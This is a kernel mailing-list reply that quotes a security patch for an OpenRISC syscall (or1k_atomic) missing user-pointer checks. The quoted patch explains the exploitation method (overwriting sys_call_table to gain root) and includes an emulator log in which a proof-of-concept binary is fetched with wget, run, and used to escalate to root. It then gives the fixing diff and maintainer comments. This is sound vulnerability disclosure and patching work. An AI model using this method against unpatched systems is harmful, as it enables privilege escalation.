Re: [PATCH v2] openrisc: fix arbitrary kernel memory access via or1k_atomic syscall

[Stafford Horne <shorne@gmail.com>]

On Fri, Aug 21, 2026 at 01:45:27AM +0000, Ali Ahmet Memis wrote:
> sys_or1k_atomic() (syscall 244 in the "or1k" ABI) takes two user
> pointers, v1 and v2, and swaps the words they point to in hand-written
> assembly.
> 
>     l.lwz   r29,0(r4)
>     l.lwz   r27,0(r5)
>     l.sw    0(r4),r27
>     l.sw    0(r5),r29
> 
> The pointers are not checked with access_ok(). The four memory
> accesses also have no exception table entries.
> 
> A caller passes a kernel address as either pointer, and the syscall
> reads from and writes to it directly.
> 
> This gives an unprivileged process a kernel read/write primitive. It
> overwrites kernel data such as the sys_call_table, gaining code
> execution in kernel context.
> 
> Check both pointers before entering the critical section. Add fixups
> for the four memory accesses so faults on valid but unmapped user
> addresses return -EFAULT.
> 
> Fixes: 9d02a4283e9c ("OpenRISC: Boot code")
> Cc: stable@vger.kernel.org
> Signed-off-by: Ali Ahmet Memis <ali@iusegentoo.com>
> ---
> v2: add Cc: stable@vger.kernel.org, missed in v1.
> 
> Tested against an unpatched or1ksim build with a local PoC that uses
> this syscall to overwrite a sys_call_table entry and escalate to root:
> 
> ali@archlinux:~$ cd ~/or1k-build/buildroot/output/images
> ali@archlinux:~/or1k-build/buildroot/output/images$ qemu-system-or1k -kernel vmlinux -nographic -append "console=ttyS0"
> FDT at (ptrval)
> Linux version 6.18.7 (ali@archlinux) (or1k-buildroot-linux-musl-gcc.br_real (Buildroot -g86102dd8) 15.3.0, GNU ld (GNU Binutils) 2.45.1) #5 Fri Aug 21 00:38:10 UTC 2026
> OF: reserved mem: Reserved memory: No reserved-memory node in the DT
> CPU: OpenRISC-13 (revision 8) @20 MHz
> -- dmmu:  128 entries, 1 way(s)
> -- immu:  128 entries, 1 way(s)
> -- additional features:
> -- power management
> -- PIC
> -- timer
> Initial ramdisk not found
> Setting up paging and PTEs.
> map_ram: Memory: 0x0-0x8000000
> Zone ranges:
>   Normal   [mem 0x0000000000000000-0x0000000007ffffff]
> Movable zone start for each node
> Early memory node ranges
>   node   0: [mem 0x0000000000000000-0x0000000007ffffff]
> Initmem setup node 0 [mem 0x0000000000000000-0x0000000007ffffff]
> itlb_miss_handler (ptrval)
> dtlb_miss_handler (ptrval)
> OpenRISC Linux -- http://openrisc.io
> Kernel command line: console=ttyS0
> printk: log buffer data + meta data: 131072 + 409600 = 540672 bytes
> Dentry cache hash table entries: 16384 (order: 3, 65536 bytes, linear)
> Inode-cache hash table entries: 8192 (order: 2, 32768 bytes, linear)
> Sorting __ex_table...
> Built 1 zonelists, mobility grouping on.  Total pages: 16384
> mem auto-init: stack:all(zero), heap alloc:off, heap free:off
> mem_init_done ...........................................
> SLUB: HWalign=16, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
> NR_IRQS: 32, nr_irqs: 32, preallocated irqs: 0
> clocksource: openrisc_timer: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 95563022313 ns
> Console: colour dummy device 80x25
> 40.00 BogoMIPS (lpj=80000)
> $ id
> uid=1000(test) gid=1000(test) groups=1000(test)
> $ wget -O /tmp/x http://10.0.2.2:8000/lpe_static
> Connecting to 10.0.2.2:8000 (10.0.2.2:8000)
> saving to '/tmp/x'
> x                    100% |********************************|  174k  0:00:00 ETA
> '/tmp/x' saved
> $ chmod +x /tmp/x
> $ /tmp/x
> Initial: uid=1000 euid=1000
> Installing commit_creds into getuid entry
> sys_call_table[174] overwritten
> original handler = 0xc002e2ac
> Calling hijacked syscall with init_cred
> hijacked syscall returned 0
> Restoring original getuid handler
> syscall table restored
> Final identity: uid=0 euid=0
> # id
> uid=0(root) gid=0(root)
> #
> 
>  arch/openrisc/kernel/entry.S | 42 ++++++++++++++++++++++++++++++++++++++---
>  1 file changed, 39 insertions(+), 3 deletions(-)
> 
> diff --git a/arch/openrisc/kernel/entry.S b/arch/openrisc/kernel/entry.S
> index c7e90b09645e..2e8c4102cd62 100644
> --- a/arch/openrisc/kernel/entry.S
> +++ b/arch/openrisc/kernel/entry.S
> @@ -1223,15 +1223,49 @@ _no_syscall_trace:
>   *
>   */
> 
> +/* Keep this literal; hi()/lo() can't use the UL-suffixed TASK_SIZE. */
> +#define OR1K_ATOMIC_ADDR_LIMIT	0x7ffffffc

OK, it would have been good to use TASK_SIZE.

>  ENTRY(sys_or1k_atomic)

Note, I don't know of any applications that actually use this, we should
deprecated this syscall.  But I do see it available in musl and strace, it would
take some time to cleanup.

>  	/* FIXME: This ignores r3 and always does an XCHG */
> +
> +	/* Check both user pointers before accessing them. */
> +	l.movhi	r13,hi(OR1K_ATOMIC_ADDR_LIMIT)
> +	l.ori	r13,r13,lo(OR1K_ATOMIC_ADDR_LIMIT)
> +	l.sfgtu	r4,r13
> +	l.bf	9f
> +	 l.nop
> +	l.sfgtu	r5,r13
> +	l.bf	9f
> +	 l.nop
> +
>  	DISABLE_INTERRUPTS(r17,r19)
> -	l.lwz	r29,0(r4)
> -	l.lwz	r27,0(r5)
> -	l.sw	0(r4),r27
> -	l.sw	0(r5),r29
> +10:	l.lwz	r29,0(r4)
> +11:	l.lwz	r27,0(r5)
> +12:	l.sw	0(r4),r27
> +13:	l.sw	0(r5),r29
>  	ENABLE_INTERRUPTS(r17)
>  	l.jr	r9
>  	 l.or	r11,r0,r0
> 
> +	/* Either pointer was outside user space, or turned out to be
> +	 * unmapped/inaccessible when we actually touched it.
> +	 */
> +9:	l.jr	r9
> +	 l.addi	r11,r0,-EFAULT
> +
> +	.section .fixup, "ax"
> +14:
> +	ENABLE_INTERRUPTS(r17)
> +	l.j	9b
> +	 l.nop
> +	.previous
> +
> +	.section __ex_table, "a"
> +	.long	10b, 14b
> +	.long	11b, 14b
> +	.long	12b, 14b
> +	.long	13b, 14b
> +	.previous
> +

Thanks,

I will send this upstream.

-Stafford